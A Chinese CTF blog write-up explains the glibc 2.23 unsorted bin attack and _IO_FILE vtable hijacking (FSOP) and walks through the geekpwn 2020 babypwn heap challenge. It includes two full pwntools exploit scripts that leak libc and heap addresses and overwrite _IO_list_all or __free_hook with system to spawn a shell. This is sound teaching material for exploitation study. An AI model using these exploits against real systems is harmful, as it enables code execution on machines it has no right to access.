unsorted bin attack & _IO_file_ attack(<=2.23)

发布于 2020-07-24  2072 次阅读


Introduction

本方法基于 glibc 2.23,对于 ver > 2.23,本方法不适用。

该攻击方法通过修改 __IO_list_all 指针来改变系统的文件结构体,使得 main_arena 区域变为了伪造的文件结构体,然后再通过构造该结构体中的变量造成 memory corruption,使控制流跳转到我们事先布置好的函数里去。

unsorted bin attack

unsorted bin 是 small_chunk 被 free 掉之后首先掉入的 bin。 具体可以查看:glibc中bins的定义

当 glibc 在进行 malloc 的时候,如果在相应的 small_bin 中无法找到符合大小要求的 chunk,它便会从 unsorted bin 中进行寻找,并且将其中所有不符合要求的 chunk,放入相应的 bin 中。 unsorted bin 相关源码

只需关注以下部分:

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* place chunk in bin */
victim = unsorted_chunks (av)->bk
    if (in_smallbin_range(size)) {
        victim_index = smallbin_index(size);
        bck = bin_at(av, victim_index);
        fwd = bck->fd;
    [...]
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

程序先将不符合 size 要求的 chunk 从 unsorted bin 中取出,然后连接到相应的 bin 中(直接插入队头)

这里就会有一个问题,unsorted bin 在取出 chunk 时未校验 victim->bk 的正确性,使得 bck = victim->bk; bck->fd = unsorted_bin

如果把 victim->bk 修改为 &target-0x10 ,那么就可以将 target 指向 unsorted bin 了。

这个技术可以用于修改 global_max_fast 造成 fastbin_attack,详见 https://xz.aliyun.com/t/5082

__IO_file attack

Introcution

当我们进行 read(0, buf, size); 时,0 其实就是 stdin 的一种简写,stdin 在内存中实际上是以结构体的形式存在的。

struct _IO_FILE {
  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;    /* Current read pointer */
  char* _IO_read_end;    /* End of get area. */
  char* _IO_read_base;    /* Start of putback+get area. */
  char* _IO_write_base;    /* Start of put area. */
  char* _IO_write_ptr;    /* Current put pointer. */
  char* _IO_write_end;    /* End of put area. */
  char* _IO_buf_base;    /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

结构体详见:https://mrh1s.top/archives/533#toc-head-2

glibc 中存在一个指针 __IO_list_all,负责将 stdin、stdout、stderr 的结构体以链表的形式连接起来,我们又知道这些结构体中又有一个重要的指针 vtable,如果将 __IO_list_all 指向可控的区域,那么只要啊程序触发 IO 相关的所有操作,我们就能因此劫持控制流。

system(/bin/sh)

我们可以通过篡改 vtable 进行控制流劫持,那么参数怎么构造呢?

当glibc检测到一些内存崩溃问题时,会进入到Abort routine(中止过程),他会把所有的streams送到第一阶段中(stage one)。而这个过程中,程序会调用_IO_flush_all_lockp函数,并会使用_IO_list_all变量。

函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)

_IO_flush_all_lockp 源码:

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)//遍历_IO_list_all
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/* 选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

而 _IO_flush_all_lock 这个函数有一些 check:

  1. fp->_mode <= 0
    fp->_IO_write_ptr > fp->_IO_write_base

  2. _IO_vtable_offset (fp) == 0(无法变动)
    fp->_mode > 0
    fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
    (技巧:_wide_data指向 fp-0x10 的地址,因为fp的read_end > read_ptr(可观察下文调试))

满足以上条件其中之一,程序就会调用 _IO_OVERFLOW (fp, EOF) ,而 fp 正是这个结构体的一部分,通过简单的构造,就可以让程序执行 _IO_OVERFLOW ('/bin/sh', EOF)。

tip

这里提供一个快捷构造 IO_file_plus 结构体的函数

def pack_file_64(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _mode = 0):
    struct = p64(_flags) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, b"\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xc0,b"\x00")
    struct += p64(_mode)
    struct = struct.ljust(0xd8, b"\x00")
    return struct

both

前面介绍了两个攻击方式的原理,接下来我们看如何将两个技术进行结合。

如果我们使用 unsorted bin attack 修改 IO_list_all ,那么 IO_list_all 便会被改到 unsorted_bin 链表头的位置。

main_arena structure

可以看到,main_arena 以 fastbin、top chunk、unsorted bin、smallbin 的方式进行排列。

small bin of 0x60 size

查看 _IO_file_plus 结构,发现 _IO_chain 刚好在 +0x70 的位置。

unsorted_bin + 0x70 = small_bin(0x60)

由于 IO_file 在调用时会进行跳转,所以我们将 fake_IO_file 构造在 small_bin(0x60) 的位置便可以将控制流跳转到可控区域。

同时构造 fp = '/bin/sh',并 bypass check,且修改 vtable 的 __overflow 函数为 system_addr。

即可 getshell

geekpwn 2020 babypwn

本题提供了 add、show、delete 三个选项。
其中

  1. add 只能创建最大 0x40 的堆块
  2. delete 会清除指针

leak libc

因为 show 没有对 idx 进行 check,直接数组溢出即可

leak heap

由于读字符串的函数只读取 len-1 长度的字符串,所以通过 fastbin 的 fd 指针就可以泄露 heao_addr

unsorted bin attack

首先创建一个 0x20 的 fast_chunk,再创建一个 0x40 的 fast_chunk。

如果我们将 add 的 size 设置为 0,那么便会发生负数溢出,可以造成无限写。

unsigned __int64 __fastcall read_str(__int64 a1, int a2)
{
  int v2; // eax
  char buf; // [rsp+1Bh] [rbp-15h]
  unsigned int v5; // [rsp+1Ch] [rbp-14h]
  int v6; // [rsp+20h] [rbp-10h]
  int v7; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v5 = 0;
  while ( 1 )
  {
    v6 = a2 - 1;
    if ( a2 - 1 <= v5 )
      break;
    read(0, &buf, 1uLL);
    if ( buf == 10 )
      break;
    v2 = v5++;
    v7 = v2;
    *(_BYTE *)(v2 + a1) = buf;
  }
  return __readfsqword(0x28u) ^ v8;
}

利用这个漏洞,我们就可以伪造一个 small_chunk,使其 free 掉之后掉入 unsorted bin。

根据之前的分析,这个堆块还应该掉入 small_bin(0x60) 的位置,我们可以进行二次修改,重新改掉该 chunk_size,并且伪造好整个 __IO_file_plus,然后程序就会因为内存错误而进入我们事先安排好的 system("/bin/sh")中

exp

from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

elf_dir = './pwn'
libc_dir = './libc.so'

elf = ELF(elf_dir)
libc = ELF(libc_dir)

if(len(sys.argv) == 1):
    p = process(elf_dir)
else:
    p = remote('110.80.136.39',14546)

def pack_file_64(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _mode = 0):
    struct = p64(_flags) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    struct = struct.ljust(0x88, b"\x00")
    struct += p64(_lock)
    struct = struct.ljust(0xc0,b"\x00")
    struct += p64(_mode)
    struct = struct.ljust(0xd8, b"\x00")
    return struct

def add(size, name='x', des='x'):
    p.sendlineafter('Input your choice:', '1')
    p.sendlineafter('Member name:', name)
    p.sendlineafter('Description size:', str(size))
    p.sendlineafter('Description:', des)

def throw(idx):
    p.sendlineafter('Input your choice:', '2')
    p.sendlineafter('index:', str(idx))

def show(idx):
    p.sendlineafter('Input your choice:', '3')
    p.sendlineafter('index:', str(idx))

if(len(sys.argv) == 1):
    #p = process('./pwn')
    p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
else:
    p = remote('110.80.136.34',14823)

show(-5)
p.recvuntil('The name:')
stdin = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = stdin - libc.symbols['stdin']

system_addr = libc_base + libc.symbols['system']
success('stdin:' + hex(stdin))
success('libc_base:' + hex(libc_base))
success('system:' + hex(system_addr))

# leak heap_addr
add(0x10)
add(0x10)
add(0x40)
add(0x40)
throw(1)
throw(0)

add(0, 'x', '')
show(0)
p.recvuntil('The Description:')
heap_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x20
success('heap_addr:' + hex(heap_addr))
add(0x10)

# put chunk 2 into unsorted bin
throw(0)
payload1 = 0x10*b'b' + p64(0) + p64(0x91) + 0x80*b'\x00' + p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)
add(0, 'x', payload1)
throw(1)
throw(0)

# fake io_file_jump

io_list_all = libc_base + libc.symbols['_IO_list_all']
success('_IO_list_all:'+hex(io_list_all))
fake_fd = 0
fake_bk = io_list_all-0x10
vtable = heap_addr + 0xe8 + 0x10
#vtable = heap_addr + 0xe0

payload2 = 0x10*b'b'
payload2 += pack_file_64(_flags = u64('/bin/sh\x00'),
            _IO_read_ptr = 0x61,
            _IO_read_end = fake_fd,
            _IO_read_base = fake_bk,
            _IO_write_base = 2,
            _IO_write_ptr = 3)

payload2 += p64(vtable)
payload2 += p64(0)*3+p64(system_addr)
#payload2 += p64(system_addr)

add(0, 'x', payload2)
#gdb.attach(p, 'b *$rebase(0x105D)')
add(0x29)

p.interactive()

the other method

观察堆块的的地址,都是 0x56 开头。

我们又可以 malloc 0x50 大小的 chunk,稍微构造一下就可以直接对 main_arena 进行 fastbin_attack。

然后再将 fastbin(0x20) 的指针改为 free_hook 前某一个 0x20 的地址,就可以利用无限写改 free_hook 为 system ,从而 getshell 了。

from pwn import *
import sys
context.log_level = 'DEBUG'
context.terminal=["open-wsl.exe","-c"]

def add(name, size, des):
    p.sendlineafter('Input your choice:', '1')
    p.sendlineafter('Member name:', name)
    p.sendlineafter('Description size:', str(size))
    p.sendlineafter('Description:', des)

def throw(idx):
    p.sendlineafter('Input your choice:', '2')
    p.sendlineafter('index:', str(idx))

def show(idx):
    p.sendlineafter('Input your choice:', '3')
    p.sendlineafter('index:', str(idx))

if(len(sys.argv) == 1):
    #p = process('./pwn')
    p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so"})
else:
    p = remote('110.80.136.34',14823)

elf = ELF('./pwn')
libc = ELF('./libc.so')

show(-5)
p.recvuntil('The name:')
stdin = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))
libc_base = stdin - libc.symbols['stdin']

system_addr = libc_base + libc.symbols['system']
success('stdin:' + hex(stdin))
success('libc_base:' + hex(libc_base))
success('system:' + hex(system_addr))

fastbin_0x20 = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x8
fastbin_0x40 = fastbin_0x20 + 0x10

add('0', 0x10, 'padding')
add('1', 0x40, 'padding')
add('2', 0x10, 'padding')
add('3', 0x10, 'padding')
add('4', 0x10, '/bin/sh')

throw(3)
throw(2)
throw(0)
throw(1)

add('0', 0, 0x10*b'a' + p64(0) + p64(0x51) + p64(fastbin_0x20+0x5-0x8))
add('1', 0x40, 'padding')
add('fake', 0x40, 0x3*b'b' + p64(0x21))

top_chunk = libc_base + libc.symbols['stdout'] + 0x8
add('2', 0, 0x10*b'a' + p64(0) + p64(0x21) + p64(fastbin_0x40-0x8))
add('3', 0x10, 'padding')
add('fake', 0, (0x78-0x40)*b'\x00' + p64(top_chunk))

#gdb.attach(p, 'b *$rebase(0x105D)')
add('fake', 0 , (0x7f552f7e07a8-0x7f552f7df720)*b'\x00' + p64(system_addr))

throw(4)

p.interactive()

references

https://blog.csdn.net/getsum/article/details/104448441

https://www.anquanke.com/post/id/168802#h2-8

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/fsop-zh/

https://www.anquanke.com/post/id/85127

https://xz.aliyun.com/t/5082


CTFer|NOIPer|CSGO|摸鱼|菜鸡